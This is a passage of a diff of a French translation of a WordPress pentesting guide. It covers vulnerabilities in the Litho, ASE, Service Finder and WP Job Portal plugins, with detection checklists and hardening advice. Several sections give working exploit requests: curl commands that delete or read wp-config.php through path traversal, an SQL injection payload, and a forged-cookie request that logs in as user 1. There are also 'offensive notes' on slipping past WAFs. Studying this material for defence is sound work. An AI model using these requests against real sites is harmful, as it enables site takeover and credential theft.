||||
- HTTP 201 avec un body JSON décrivant l'utilisateur créé.
|
||||
- HTTP 201 avec un corps JSON décrivant l'utilisateur créé.
|
||||
- Un nouvel utilisateur admin visible dans `wp-admin/users.php`.
|
||||
|
||||
Checklist de détection
|
||||
Detection checklist
|
||||
|
||||
- Grep pour `getallheaders()`, `$_SERVER['HTTP_...']`, ou des SDK tiers qui lisent des headers personnalisés pour définir le contexte utilisateur (par ex. `wp_set_current_user()`, `wp_set_auth_cookie()`).
|
||||
- Revoir les enregistrements REST pour des callbacks privilégiés qui n'ont pas de `permission_callback` robuste et qui s'appuient à la place sur les headers de la requête.
|
||||
- Chercher des usages des fonctions core de gestion d'utilisateurs (`wp_insert_user`, `wp_create_user`) à l'intérieur de handlers REST qui sont protégés uniquement par des valeurs de header.
|
||||
- Grep pour `getallheaders()`, `$_SERVER['HTTP_...']`, ou des vendor SDKs qui lisent des en-têtes personnalisés pour définir le contexte utilisateur (par ex., `wp_set_current_user()`, `wp_set_auth_cookie()`).
|
||||
- Revoir les enregistrements REST pour des callbacks privilégiés qui n'ont pas de vérifications `permission_callback` robustes et qui se fient plutôt aux en-têtes de la requête.
|
||||
- Chercher des usages des fonctions core de gestion d'utilisateurs (`wp_insert_user`, `wp_create_user`) dans des handlers REST qui sont protégés seulement par des valeurs d'en-tête.
|
||||
|
||||
Durcissement
|
||||
Hardening
|
||||
|
||||
- Ne jamais déduire l'authentification ou l'autorisation à partir de headers contrôlés par le client.
|
||||
- Si un reverse proxy doit injecter une identité, terminer la confiance au niveau du proxy et supprimer les copies entrantes (par ex. `unset X-Wcpay-Platform-Checkout-User` en bordure), puis transmettre un token signé et le vérifier côté serveur.
|
||||
- Pour les routes REST effectuant des actions privilégiées, exiger des vérifications `current_user_can()` et un `permission_callback` strict (ne PAS utiliser `__return_true`).
|
||||
- Préférer une auth first-party (cookies, application passwords, OAuth) plutôt que l’« impersonation » via headers.
|
||||
- Ne jamais dériver l'authentification ou l'autorisation d'en-têtes contrôlés par le client.
|
||||
- Si un reverse proxy doit injecter une identité, terminer la confiance au niveau du proxy et supprimer les copies entrantes (par ex., `unset X-Wcpay-Platform-Checkout-User` à la périphérie), puis passer un token signé et le vérifier côté serveur.
|
||||
- Pour les routes REST effectuant des actions privilégiées, exiger des vérifications `current_user_can()` et un `permission_callback` strict (NE PAS utiliser `__return_true`).
|
||||
- Préférer l'auth première-partie (cookies, application passwords, OAuth) plutôt que l'usurpation d'identité via en-tête.
|
||||
|
||||
Références : voir les liens à la fin de cette page pour un cas public et une analyse plus large.
|
||||
References: see the links at the end of this page for a public case and broader analysis.
|
||||
|
||||
### Suppression arbitraire de fichiers sans authentification via wp_ajax_nopriv (Litho Theme <= 3.0)
|
||||
### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
|
||||
|
||||
WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks. When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement:
|
||||
Les thèmes et plugins WordPress exposent fréquemment des handlers AJAX via les hooks `wp_ajax_` et `wp_ajax_nopriv_`. Lorsqu'on utilise la variante **_nopriv_** **le callback devient accessible aux visiteurs non authentifiés**, donc toute action sensible doit en plus implémenter :
|
||||
|
||||
1. A **capability check** (e.g. `current_user_can()` or at least `is_user_logged_in()`), and
|
||||
2. A **CSRF nonce** validated with `check_ajax_referer()` / `wp_verify_nonce()`, and
|
||||
3. **Strict input sanitisation / validation**.
|
||||
1. Une **vérification de capability** (par ex. `current_user_can()` ou au minimum `is_user_logged_in()`), et
|
||||
2. Un **nonce CSRF** validé avec `check_ajax_referer()` / `wp_verify_nonce()`, et
|
||||
3. **Sanitisation / validation stricte des entrées**.
|
||||
|
||||
Le Litho multipurpose theme (< 3.1) a oublié ces 3 contrôles dans la fonctionnalité *Remove Font Family* et a fini par livrer le code suivant (simplifié) :
|
||||
Le thème multipurpose Litho (< 3.1) a oublié ces 3 contrôles dans la fonctionnalité *Remove Font Family* et a fini par livrer le code suivant (simplifié) :
|
||||
```php
|
||||
function litho_remove_font_family_action_data() {
|
||||
if ( empty( $_POST['fontfamily'] ) ) {
|
||||
@ -443,28 +443,28 @@ die();
|
||||
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
```
|
||||
Issues introduced by this snippet:
|
||||
Problèmes introduits par cet extrait :
|
||||
|
||||
* **Accès non authentifié** – le hook `wp_ajax_nopriv_` est enregistré.
|
||||
* **Pas de vérification de nonce / capability** – n'importe quel visiteur peut atteindre l'endpoint.
|
||||
* **Pas de sanitisation du chemin** – la chaîne contrôlée par l'utilisateur `fontfamily` est concaténée à un chemin du système de fichiers sans filtrage, permettant le classique parcours `../../`.
|
||||
* **Accès non authentifié** – the `wp_ajax_nopriv_` hook is registered.
|
||||
* **No nonce / capability check** – tout visiteur peut appeler l'endpoint.
|
||||
* **Aucune sanitisation de chemin** – la chaîne contrôlée par l'utilisateur `fontfamily` est concaténée à un chemin du système de fichiers sans filtrage, permettant le classique parcours `../../`.
|
||||
|
||||
#### Exploitation
|
||||
|
||||
Un attaquant peut supprimer n'importe quel fichier ou répertoire **sous le répertoire de base uploads** (normalement `<wp-root>/wp-content/uploads/`) en envoyant une seule HTTP POST request:
|
||||
Un attaquant peut supprimer n'importe quel fichier ou répertoire **sous le répertoire de base uploads** (normalement `<wp-root>/wp-content/uploads/`) en envoyant une seule requête HTTP POST :
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||||
-d 'action=litho_remove_font_family_action_data' \
|
||||
-d 'fontfamily=../../../../wp-config.php'
|
||||
```
|
||||
Parce que `wp-config.php` se trouve en dehors du répertoire *uploads*, quatre séquences `../` suffisent sur une installation par défaut. La suppression de `wp-config.php` force WordPress à lancer le *assistant d'installation* lors de la visite suivante, permettant une prise de contrôle complète du site (l'attaquant fournit simplement une nouvelle configuration DB et crée un utilisateur admin).
|
||||
Parce que `wp-config.php` se trouve en dehors de *uploads*, quatre séquences `../` suffisent sur une installation par défaut. Supprimer `wp-config.php` force WordPress à lancer l'*assistant d'installation* lors de la visite suivante, permettant une prise de contrôle complète du site (l'attaquant fournit simplement une nouvelle configuration DB et crée un utilisateur admin).
|
||||
|
||||
D'autres cibles ayant un fort impact incluent les fichiers `.php` de plugin/theme (pour neutraliser les plugins de sécurité) ou les règles `.htaccess`.
|
||||
D'autres cibles impactantes incluent les fichiers `.php` de plugin/thème (pour neutraliser les plugins de sécurité) ou les règles `.htaccess`.
|
||||
|
||||
#### Checklist de détection
|
||||
#### Detection checklist
|
||||
|
||||
* Tout callback `add_action( 'wp_ajax_nopriv_...')` qui appelle des helpers système de fichiers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.).
|
||||
* Concatenation d'entrées utilisateur non assainies dans des chemins (chercher `$_POST`, `$_GET`, `$_REQUEST`).
|
||||
* Tout callback `add_action( 'wp_ajax_nopriv_...')` qui appelle des fonctions du système de fichiers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.).
|
||||
* Concaténation d'entrées utilisateur non assainies dans des chemins (chercher `$_POST`, `$_GET`, `$_REQUEST`).
|
||||
* Absence de `check_ajax_referer()` et de `current_user_can()`/`is_user_logged_in()`.
|
||||
|
||||
#### Durcissement
|
||||
@ -487,16 +487,16 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
|
||||
// 🔒 NO wp_ajax_nopriv_ registration
|
||||
```
|
||||
> [!TIP]
|
||||
> **Toujours** considérer toute opération d'écriture/suppression sur le disque comme privilégiée et vérifier à nouveau :
|
||||
> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
|
||||
> **Toujours** considérer toute opération d'écriture/suppression sur le disque comme privilégiée et vérifier doublement :
|
||||
> • Authentification • Autorisation • Nonce • Assainissement des entrées • Confinement du chemin (par ex. via `realpath()` plus `str_starts_with()`).
|
||||
|
||||
---
|
||||
|
||||
### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
|
||||
### Élévation de privilèges via restauration de rôle obsolète et absence d'autorisation (ASE "View Admin as Role")
|
||||
|
||||
De nombreux plugins implémentent une fonctionnalité "view as role" ou un changement temporaire de rôle en sauvegardant le(s) rôle(s) original(aux) dans user meta afin de pouvoir les restaurer plus tard. Si le chemin de restauration ne s'appuie que sur des paramètres de requête (par ex., `$_REQUEST['reset-for']`) et une liste maintenue par le plugin sans vérifier les capabilities et un nonce valide, cela devient une vertical privilege escalation.
|
||||
De nombreux plugins implémentent une fonction "view as role" ou de changement temporaire de rôle en sauvegardant le(s) rôle(s) originaux dans les user meta afin de pouvoir les restaurer plus tard. Si le chemin de restauration ne s'appuie que sur des paramètres de requête (par ex. `$_REQUEST['reset-for']`) et une liste maintenue par le plugin sans vérifier les capabilities et un nonce valide, cela devient une élévation de privilèges verticale.
|
||||
|
||||
Un exemple réel a été trouvé dans le plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). La branche de reset restaurait les rôles basée sur `reset-for=<username>` si le nom d'utilisateur apparaissait dans un tableau interne `$options['viewing_admin_as_role_are']`, mais n'effectuait ni un contrôle `current_user_can()` ni une vérification du nonce avant de supprimer les rôles actuels et de ré-ajouter les rôles sauvegardés dans le user meta `_asenha_view_admin_as_original_roles` :
|
||||
Un exemple réel a été trouvé dans le plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). La branche de reset restaurait les rôles basée sur `reset-for=<username>` si le nom d'utilisateur apparaissait dans un tableau interne `$options['viewing_admin_as_role_are']`, mais n'effectuait ni un contrôle `current_user_can()` ni une vérification de nonce avant de supprimer les rôles actuels et de réajouter les rôles sauvegardés depuis le user meta `_asenha_view_admin_as_original_roles` :
|
||||
```php
|
||||
// Simplified vulnerable pattern
|
||||
if ( isset( $_REQUEST['reset-for'] ) ) {
|
||||
@ -513,15 +513,15 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
|
||||
```
|
||||
Pourquoi c'est exploitable
|
||||
|
||||
- Fait confiance à `$_REQUEST['reset-for']` et à une option du plugin sans autorisation côté serveur.
|
||||
- Si un utilisateur avait auparavant des privilèges plus élevés sauvegardés dans `_asenha_view_admin_as_original_roles` et a été rétrogradé, il peut les restaurer en accédant au reset path.
|
||||
- Dans certaines configurations, tout utilisateur authentifié peut déclencher un reset pour un autre nom d'utilisateur encore présent dans `viewing_admin_as_role_are` (autorisation cassée).
|
||||
- Se fie à `$_REQUEST['reset-for']` et à une option du plugin sans autorisation côté serveur.
|
||||
- Si un utilisateur avait auparavant des privilèges élevés enregistrés dans `_asenha_view_admin_as_original_roles` et a été rétrogradé, il peut les restaurer en accédant au chemin de réinitialisation.
|
||||
- Dans certains déploiements, tout utilisateur authentifié pourrait déclencher une réinitialisation pour un autre nom d'utilisateur encore présent dans `viewing_admin_as_role_are` (autorisation défaillante).
|
||||
|
||||
Prérequis de l'attaque
|
||||
|
||||
- Version vulnérable du plugin avec la fonctionnalité activée.
|
||||
- Le compte cible a un rôle à privilèges élevés obsolète stocké dans user meta depuis une utilisation antérieure.
|
||||
- N'importe quelle session authentifiée ; absence de nonce/capability dans le reset flow.
|
||||
- Le compte cible possède un rôle à privilèges élevés obsolète stocké dans user meta depuis une utilisation antérieure.
|
||||
- Toute session authentifiée ; absence de nonce/capability sur le flux de reset.
|
||||
|
||||
Exploitation (exemple)
|
||||
```bash
|
||||
@ -531,49 +531,98 @@ Exploitation (exemple)
|
||||
curl -s -k -b 'wordpress_logged_in=...' \
|
||||
'https://victim.example/wp-admin/?reset-for=<your_username>'
|
||||
```
|
||||
Sur les versions vulnérables, cela supprime les rôles actuels et réajoute les rôles originaux sauvegardés (par ex., `administrator`), escaladant ainsi les privilèges.
|
||||
Sur les builds vulnérables, cela supprime les rôles actuels et réajoute les rôles originaux sauvegardés (p.ex., `administrator`), ce qui permet d'escalader les privilèges.
|
||||
|
||||
Detection checklist
|
||||
|
||||
- Recherchez des fonctionnalités de changement de rôle qui conservent “original roles” dans les user meta (e.g., `_asenha_view_admin_as_original_roles`).
|
||||
- Identifiez les chemins de reset/restore qui :
|
||||
- Lisent les noms d'utilisateur depuis `$_REQUEST` / `$_GET` / `$_POST`.
|
||||
- Modifient les rôles via `add_role()` / `remove_role()` sans `current_user_can()` et `wp_verify_nonce()` / `check_admin_referer()`.
|
||||
- Autorisent en se basant sur un tableau d'options du plugin (e.g., `viewing_admin_as_role_are`) au lieu des capacités de l'acteur.
|
||||
- Recherchez des fonctionnalités de changement de rôle qui conservent les « original roles » dans le user meta (p.ex., `_asenha_view_admin_as_original_roles`).
|
||||
- Identifiez les chemins de réinitialisation/restauration qui :
|
||||
- Lisent les noms d'utilisateur depuis `$_REQUEST` / `$_GET` / `$_POST`.
|
||||
- Modifient les rôles via `add_role()` / `remove_role()` sans `current_user_can()` et `wp_verify_nonce()` / `check_admin_referer()`.
|
||||
- Autorisent en se basant sur un tableau d'options du plugin (p.ex., `viewing_admin_as_role_are`) au lieu des capacités de l'acteur.
|
||||
|
||||
Durcissement
|
||||
|
||||
- Appliquez des vérifications de capacités sur chaque branche modifiant l'état (e.g., `current_user_can('manage_options')` ou plus strict).
|
||||
- Exigez des nonces pour toutes les mutations de rôle/permission et vérifiez-les : `check_admin_referer()` / `wp_verify_nonce()`.
|
||||
- Ne faites jamais confiance aux noms d'utilisateur fournis dans la requête ; résolvez l'utilisateur cible côté serveur en fonction de l'acteur authentifié et d'une politique explicite.
|
||||
- Invalidez l'état des “original roles” lors des mises à jour de profil/role pour éviter la restauration de privilèges élevés obsolètes :
|
||||
- Appliquez des vérifications de capacité sur chaque branche modifiant l'état (p.ex., `current_user_can('manage_options')` ou plus strict).
|
||||
- Exigez des nonces pour toutes les mutations de rôles/permissions et vérifiez-les : `check_admin_referer()` / `wp_verify_nonce()`.
|
||||
- Ne faites jamais confiance aux noms d'utilisateur fournis par la requête ; résolvez l'utilisateur cible côté serveur en fonction de l'acteur authentifié et d'une politique explicite.
|
||||
- Invalidez l'état des rôles originaux lors des mises à jour de profil / de rôle afin d'éviter la restauration obsolète de privilèges élevés :
|
||||
```php
|
||||
add_action( 'profile_update', function( $user_id ) {
|
||||
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
|
||||
}, 10, 1 );
|
||||
```
|
||||
- Envisagez de stocker un état minimal et d'utiliser des tokens limités dans le temps et protégés par des capabilities pour des changements de rôle temporaires.
|
||||
- Envisagez de stocker un état minimal et d'utiliser des jetons limités dans le temps et protégés par la capability pour les changements de rôle temporaires.
|
||||
|
||||
---
|
||||
|
||||
### Considérations WAF pour WordPress/plugin CVEs
|
||||
### Escalade de privilèges non authentifiée via cookie‑trusted user switching sur le hook public init (Service Finder “sf-booking”)
|
||||
|
||||
Les WAFs génériques edge/serveur sont réglés pour des motifs larges (SQLi, XSS, LFI). Beaucoup de failles WordPress/plugin à fort impact sont des bugs de logique applicative/auth qui ressemblent à du trafic bénin à moins que le moteur ne comprenne les routes WordPress et la sémantique des plugins.
|
||||
Certains plugins branchent des helpers de user-switching sur le hook public `init` et dérivent l'identité d'un cookie contrôlé par le client. Si le code appelle `wp_set_auth_cookie()` sans vérifier l'authentification, la capability et un nonce valide, tout visiteur non authentifié peut forcer la connexion en tant qu'un ID utilisateur arbitraire.
|
||||
|
||||
Notes offensives
|
||||
Schéma vulnérable typique (simplifié d'après Service Finder Bookings ≤ 6.1) :
|
||||
```php
|
||||
function service_finder_submit_user_form(){
|
||||
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
|
||||
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
|
||||
service_finder_switch_user($user_id);
|
||||
}
|
||||
if ( isset($_GET['switch_back']) ) {
|
||||
service_finder_switch_back();
|
||||
}
|
||||
}
|
||||
add_action('init', 'service_finder_submit_user_form');
|
||||
|
||||
- Ciblez les endpoints spécifiques aux plugins avec des payloads propres : `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
|
||||
- Testez d'abord les chemins unauth (AJAX `nopriv`, REST avec `permission_callback` permissif, shortcodes publics). Les payloads par défaut réussissent souvent sans obfuscation.
|
||||
- Cas typiques à fort impact : escalade de privilèges (broken access control), upload/download de fichiers arbitraires, LFI, open redirect.
|
||||
function service_finder_switch_back() {
|
||||
if ( isset($_COOKIE['original_user_id']) ) {
|
||||
$uid = intval($_COOKIE['original_user_id']);
|
||||
if ( get_userdata($uid) ) {
|
||||
wp_set_current_user($uid);
|
||||
wp_set_auth_cookie($uid); // 🔥 sets auth for attacker-chosen UID
|
||||
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
|
||||
setcookie('original_user_id', '', time() - 3600, '/');
|
||||
wp_redirect( admin_url('admin.php?page=candidates') );
|
||||
exit;
|
||||
}
|
||||
wp_die('Original user not found.');
|
||||
}
|
||||
wp_die('No original user found to switch back to.');
|
||||
}
|
||||
```
|
||||
Pourquoi c’est exploitable
|
||||
|
||||
Notes défensives
|
||||
- Le hook public `init` rend le gestionnaire accessible aux utilisateurs non authentifiés (absence de garde `is_user_logged_in()`).
|
||||
- L'identité est dérivée d'un cookie modifiable par le client (`original_user_id`).
|
||||
- Un appel direct à `wp_set_auth_cookie($uid)` connecte le demandeur en tant que cet utilisateur sans aucune vérification de capability/nonce.
|
||||
|
||||
- Ne comptez pas sur des signatures WAF génériques pour protéger les plugin CVEs. Implémentez des virtual patches spécifiques aux vulnérabilités au niveau applicatif ou mettez à jour rapidement.
|
||||
- Privilégiez des contrôles de sécurité en mode positif dans le code (capabilities, nonces, strict input validation) plutôt que des filtres regex négatifs.
|
||||
Exploitation (non authentifiée)
|
||||
```http
|
||||
GET /?switch_back=1 HTTP/1.1
|
||||
Host: victim.example
|
||||
Cookie: original_user_id=1
|
||||
User-Agent: PoC
|
||||
Connection: close
|
||||
```
|
||||
---
|
||||
|
||||
## Protection WordPress
|
||||
### WAF considerations for WordPress/plugin CVEs
|
||||
|
||||
### Mises à jour régulières
|
||||
Les WAF génériques côté edge/serveur sont réglés pour détecter des schémas larges (SQLi, XSS, LFI). Beaucoup de failles WordPress/plugin à fort impact sont des bugs logiques/auth spécifiques à l'application qui ressemblent à du trafic bénin, à moins que le moteur ne comprenne les routes WordPress et la sémantique des plugins.
|
||||
|
||||
Offensive notes
|
||||
|
||||
- Target plugin-specific endpoints with clean payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
|
||||
- Exercise unauth paths first (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Default payloads often succeed without obfuscation.
|
||||
- Typical high-impact cases: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
|
||||
|
||||
Defensive notes
|
||||
|
||||
- Don’t rely on generic WAF signatures to protect plugin CVEs. Implement application-layer, vulnerability-specific virtual patches or update quickly.
|
||||
- Prefer positive-security checks in code (capabilities, nonces, strict input validation) over negative regex filters.
|
||||
|
||||
## WordPress Protection
|
||||
|
||||
### Regular Updates
|
||||
|
||||
Assurez-vous que WordPress, les plugins et les thèmes sont à jour. Vérifiez aussi que la mise à jour automatique est activée dans wp-config.php:
|
||||
```bash
|
||||
@ -581,7 +630,7 @@ define( 'WP_AUTO_UPDATE_CORE', true );
|
||||
add_filter( 'auto_update_plugin', '__return_true' );
|
||||
add_filter( 'auto_update_theme', '__return_true' );
|
||||
```
|
||||
Aussi, **n'installez que des plugins et thèmes WordPress de confiance**.
|
||||
Also, **n'installez que des plugins et thèmes WordPress de confiance**.
|
||||
|
||||
### Plugins de sécurité
|
||||
|
||||
@ -591,14 +640,14 @@ Aussi, **n'installez que des plugins et thèmes WordPress de confiance**.
|
||||
|
||||
### **Autres recommandations**
|
||||
|
||||
- Supprimez l'utilisateur par défaut **admin**
|
||||
- Utilisez des **mots de passe forts** et la **2FA**
|
||||
- Vérifiez périodiquement les **autorisations** des utilisateurs
|
||||
- **Limitez les tentatives de connexion** pour prévenir les attaques par Brute Force
|
||||
- Supprimez l'utilisateur **admin** par défaut
|
||||
- Utilisez des **mots de passe forts** et **2FA**
|
||||
- **Vérifiez** périodiquement les **autorisations** des utilisateurs
|
||||
- **Limitez les tentatives de connexion** pour prévenir les attaques Brute Force
|
||||
- Renommez le fichier **`wp-admin.php`** et n'autorisez l'accès qu'en interne ou depuis certaines adresses IP.
|
||||
|
||||
|
||||
### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
|
||||
### Injection SQL non authentifiée via validation insuffisante (WP Job Portal <= 2.3.2)
|
||||
|
||||
Le plugin de recrutement WP Job Portal exposait une tâche **savecategory** qui exécute finalement le code vulnérable suivant dans `modules/category/model.php::validateFormData()` :
|
||||
```php
|
||||
@ -613,8 +662,8 @@ $query = "SELECT max(ordering)+1 AS maxordering FROM "
|
||||
Problèmes introduits par cet extrait :
|
||||
|
||||
1. **Entrée utilisateur non assainie** – `parentid` provient directement de la requête HTTP.
|
||||
2. **Concaténation de chaînes dans la clause WHERE** – pas de `is_numeric()` / `esc_sql()` / requête préparée.
|
||||
3. **Accès non authentifié** – bien que l'action soit exécutée via `admin-post.php`, la seule vérification en place est un **CSRF nonce** (`wp_verify_nonce()`), que n'importe quel visiteur peut récupérer depuis une page publique intégrant le shortcode `[wpjobportal_my_resumes]`.
|
||||
2. **Concaténation de chaînes dans la clause WHERE** – pas d'`is_numeric()` / `esc_sql()` / requête préparée.
|
||||
3. **Accessibilité sans authentification** – bien que l'action soit exécutée via `admin-post.php`, la seule vérification en place est un **CSRF nonce** (`wp_verify_nonce()`), que n'importe quel visiteur peut récupérer depuis une page publique intégrant le shortcode `[wpjobportal_my_resumes]`.
|
||||
|
||||
#### Exploitation
|
||||
|
||||
@ -630,7 +679,7 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'parentid=0 OR 1=1-- -' \
|
||||
-d 'cat_title=pwn' -d 'id='
|
||||
```
|
||||
La réponse divulgue le résultat de la requête injectée ou modifie la base de données, prouvant une SQLi.
|
||||
La réponse divulgue le résultat de la requête injectée ou modifie la base de données, prouvant la présence d'une SQLi.
|
||||
|
||||
|
||||
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
|
||||
@ -641,7 +690,7 @@ $file = $path . '/' . $file_name;
|
||||
...
|
||||
echo $wp_filesystem->get_contents($file); // raw file output
|
||||
```
|
||||
`$file_name` est contrôlé par l'attaquant et concaténé **sans sanitisation**. Encore une fois, la seule barrière est un **CSRF nonce** qui peut être récupéré depuis la page de CV.
|
||||
`$file_name` est contrôlé par l'attaquant et concaténé **sans assainissement**. Encore une fois, la seule barrière est un **CSRF nonce** qui peut être récupéré depuis la page de CV.
|
||||
|
||||
#### Exploitation
|
||||
```bash
|
||||
@ -663,5 +712,7 @@ Le serveur renvoie le contenu de `wp-config.php`, leaking DB credentials and aut
|
||||
- [Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses](https://patchstack.com/articles/hosting-security-tested-87-percent-of-vulnerability-exploits-bypassed-hosting-defenses/)
|
||||
- [WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/woocommerce-payments/vulnerability/wordpress-woocommerce-payments-plugin-5-6-1-unauthenticated-privilege-escalation-vulnerability)
|
||||
- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
|
||||
- [Unpatched Privilege Escalation in Service Finder Bookings Plugin](https://patchstack.com/articles/unpatched-privilege-escalation-in-service-finder-bookings-plugin/)
|
||||
- [Service Finder Bookings privilege escalation – Patchstack DB entry](https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-booking-6-0-privilege-escalation-vulnerability)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user